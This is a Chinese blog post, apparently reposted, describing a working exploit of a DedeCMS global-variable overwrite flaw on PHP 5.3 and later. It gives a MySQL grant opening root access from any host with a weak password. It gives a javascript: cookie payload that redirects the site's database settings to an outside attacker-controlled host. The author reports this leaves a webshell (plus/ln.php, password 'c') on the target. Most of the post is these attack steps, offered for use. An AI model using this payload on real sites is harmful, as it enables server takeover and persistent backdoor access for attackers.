DEDE全局变量再次覆盖研究

from:http://lanu.sinaapp.com

这个是大牛研究的博文:http://www.0x50sec.org/dedecms%e ... %e5%88%86%e6%9e%90/,大牛就是大牛厉害啊!这位大牛说了关于dedecms变量覆盖漏洞补丁没有补全。造成了漏洞的二次利用。看完了此文,但是关于里面的$_REQUEST为什么没有读取$_COOKIE值俺有点小异议,和文章中有的代码不是很全有缺失,而且有些符号也有点小问题!
我认为是因为php版本问题而不是什么apache和iis的问题,因为在php 5.3以后php.ini中默认request_order="GP"

俺们用事实说话:
[php]<?php
var_dump($_REQUEST);
echo "—————REQUEST END————<br>";
var_dump($_COOKIE);
echo "—————COOKIE END————<br>";
?> [/php]当我的request_order="GPC"的时候,

访问http://127.0.0.1/test/requesttest.php?hacker=11

再访问:
[php]javascript:document.cookie="test"; [/php]返回

array(2) { ["hacker"]=> string(2) "11" ["fuck_you"]=> string(0) "" } —————REQUEST END———— array(1) { ["fuck_you"]=> string(0) "" } —————COOKIE END————

如果我request_order="GP"

返回则是:

array(1) { ["hacker"]=> string(2) "11" } —————REQUEST END———— array(1) { ["fuck_you"]=> string(0) "" } —————COOKIE END————-----------------

所以俺得出结论:若果dedecms装在php > 5.3的服务器中,可以利用变量再次覆盖!

于是乎我就下载了最新版本的dedecms做测试:
开外链设置数据库,你懂得!

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

数据库见附件,我已经设置好的!

dede_myad

然后访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1

再用javascript设置:

javascript:document.cookie="GLOBALS[cfg_dbhost]=10.60.133.60";document.cookie="GLOBALS[cfg_dbuser]=root";document.cookie="GLOBALS[cfg_dbpwd]=123456";document.cookie="GLOBALS[cfg_dbname]=test";document.cookie="GLOBALS[cfg_dbprefix]=dede_";

 

再次访问http://127.0.0.1/dede/plus/ad_js.php?aid=1&nocache=1

生成的一句话:http://127.0.0.1/dede/plus/ln.php 密码c

俺最新版本dedecms测试成功

2 条评论

  1. test

    附件地址不在

  2. DEDE全局变量再次覆盖研究 | 黑客之家

    [...] 俺们用事实说话: ? [...]

发表评论